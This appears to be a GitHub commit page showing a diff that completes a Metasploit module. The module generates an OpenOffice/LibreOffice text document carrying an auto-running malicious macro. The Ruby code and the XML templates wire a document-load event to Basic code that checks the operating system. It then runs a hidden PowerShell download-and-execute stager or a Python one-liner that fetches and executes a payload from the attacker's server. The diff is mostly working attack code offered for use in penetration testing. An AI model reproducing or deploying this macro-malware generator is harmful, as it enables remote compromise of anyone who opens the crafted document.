Skip to content

Commit 047a9b1

Browse files
committed
Completed version of openoffice_document_macro
1 parent cefbee2 commit 047a9b1

File tree

4 files changed

+217
-126
lines changed

4 files changed

+217
-126
lines changed

data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,5 @@
22
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
33
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
44

5-
Sub OnLoad
6-
MsgBox &quot;Auto1111?&quot;
7-
End Sub
8-
</script:module>
5+
CODEGOESHERE
6+
</script:module>
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
<?xml version="1.0" encoding="UTF-8"?>
2-
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:textooo="http://openoffice.org/2013/office" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" office:version="1.2"><office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:Standard.Module1.OnLoad?language=Basic&amp;location=document" xlink:type="simple"/></office:event-listeners></office:scripts><office:font-face-decls><style:font-face style:name="Mangal1" svg:font-family="Mangal"/><style:font-face style:name="Times New Roman" svg:font-family="&apos;Times New Roman&apos;" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Mangal" svg:font-family="Mangal" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="&apos;Microsoft YaHei&apos;" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles/><office:body><office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/></office:text></office:body></office:document-content>
2+
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:textooo="http://openoffice.org/2013/office" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" office:version="1.2"><office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:Standard.Module1.OnLoad?language=Basic&amp;location=document" xlink:type="simple"/></office:event-listeners></office:scripts><office:font-face-decls><style:font-face style:name="Mangal1" svg:font-family="Mangal"/><style:font-face style:name="Times New Roman" svg:font-family="&apos;Times New Roman&apos;" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Mangal" svg:font-family="Mangal" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="&apos;Microsoft YaHei&apos;" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles/><office:body>DOCBODYGOESHER<office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/></office:text></office:body></office:document-content>

modules/exploits/multi/fileformat/openoffice_document_macro.rb

Lines changed: 0 additions & 121 deletions
This file was deleted.
Lines changed: 214 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,214 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/zip'
8+
require 'cgi'
9+
10+
class MetasploitModule < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
include Msf::Exploit::Powershell
15+
include Msf::Exploit::Remote::HttpServer
16+
17+
WINDOWSGUI = 'windows'
18+
OSXGUI = 'osx'
19+
LINUXGUI = 'linux'
20+
21+
def initialize(info={})
22+
super(update_info(info,
23+
'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",
24+
'Description' => %q{
25+
This module generates an Apache OpenOffice Text Document with a malicious macro in it.
26+
For exploit successfully, the targeted user must adjust the security level in Macro
27+
Security to either Medium or Low. If set to Medium, a prompt is presented to the user
28+
to enable or disable the macro. If set to Low, the macro can automatically run without
29+
any warning.
30+
31+
The module also works against LibreOffice.
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' =>
35+
[
36+
'sinn3r' # Metasploit
37+
],
38+
'References' =>
39+
[
40+
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
41+
],
42+
'DefaultOptions' =>
43+
{
44+
'EXITFUNC' => 'thread',
45+
'DisablePayloadHandler' => false
46+
},
47+
'Targets' =>
48+
[
49+
[
50+
'Apache OpenOffice on Windows (PSH)', {
51+
'Platform' => 'win',
52+
'Arch' => [ARCH_X86, ARCH_X64]
53+
}],
54+
[
55+
'Apache OpenOffice on Linux/OSX (Python)', {
56+
'Platform' => 'python',
57+
'Arch' => ARCH_PYTHON
58+
}]
59+
],
60+
'Privileged' => false,
61+
'DisclosureDate' => "Feb 8 2017"
62+
))
63+
64+
register_options([
65+
OptString.new("BODY", [false, 'The message for the document body', '']),
66+
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])
67+
], self.class)
68+
end
69+
70+
71+
def on_request_uri(cli, req)
72+
print_status("Sending payload")
73+
74+
if target.name =~ /PSH/
75+
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
76+
else
77+
p = payload.encoded
78+
end
79+
80+
send_response(cli, p, 'Content-Type' => 'application/octet-stream')
81+
end
82+
83+
84+
def primer
85+
print_status("Generating our odt file for #{target.name}...")
86+
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')
87+
docm = package_odt(path)
88+
file_create(docm)
89+
end
90+
91+
92+
def get_windows_stager
93+
%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|
94+
end
95+
96+
97+
def get_unix_stager
98+
%Q|Shell("#{generate_python_stager}")|
99+
end
100+
101+
102+
def generate_psh_stager
103+
@windows_psh_stager ||= lambda {
104+
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
105+
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
106+
download_and_run = "#{ignore_cert}#{download_string}"
107+
generate_psh_command_line(
108+
noprofile: true,
109+
windowstyle: 'hidden',
110+
command: download_and_run)
111+
}.call
112+
end
113+
114+
115+
def generate_python_stager
116+
@python_stager ||= lambda {
117+
%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|
118+
}.call
119+
end
120+
121+
122+
def get_statger
123+
case target.name
124+
when /PSH/
125+
get_windows_stager
126+
when /Python/
127+
get_unix_stager
128+
end
129+
end
130+
131+
132+
# This macro code has the following in mind:
133+
# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,
134+
# we only want to fire at those.
135+
# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.
136+
# This turned out to be problematic, because for some reason OpenOffice is not able to
137+
# write a large string to a file (I've tried either shell("echo") or using the macro API).
138+
# The stager code is similar to web_delivery.
139+
def macro_code
140+
CGI.escapeHTML(%Q|
141+
Sub OnLoad
142+
Dim os as string
143+
os = GetOS
144+
If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then
145+
Exploit
146+
end If
147+
End Sub
148+
149+
Sub Exploit
150+
#{get_statger}
151+
End Sub
152+
153+
Function GetOS() as string
154+
select case getGUIType
155+
case 1:
156+
GetOS = "#{WINDOWSGUI}"
157+
case 3:
158+
GetOS = "#{OSXGUI}"
159+
case 4:
160+
GetOS = "#{LINUXGUI}"
161+
end select
162+
End Function
163+
164+
Function GetExtName() as string
165+
select case GetOS
166+
case "#{WINDOWSGUI}"
167+
GetFileName = "exe"
168+
case else
169+
GetFileName = "bin"
170+
end select
171+
End Function
172+
|)
173+
end
174+
175+
def on_file_read(short_fname, full_fname)
176+
buf = File.read(full_fname)
177+
178+
case short_fname
179+
when /content\.xml/
180+
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
181+
when /Module1\.xml/
182+
buf.gsub!(/CODEGOESHERE/, macro_code)
183+
end
184+
185+
yield short_fname, buf
186+
end
187+
188+
189+
def package_odt(path)
190+
zip = Rex::Zip::Archive.new
191+
192+
Dir["#{path}/**/**"].each do |file|
193+
p = file.sub(path+'/','')
194+
195+
if File.directory?(file)
196+
print_status("Packaging directory: #{file}")
197+
zip.add_file(p)
198+
else
199+
on_file_read(p, file) do |fname, buf|
200+
print_status("Packaging file: #{fname}")
201+
zip.add_file(fname, buf)
202+
end
203+
end
204+
end
205+
206+
zip.pack
207+
end
208+
209+
210+
def exploit
211+
super
212+
end
213+
214+
end

0 commit comments

Comments
 (0)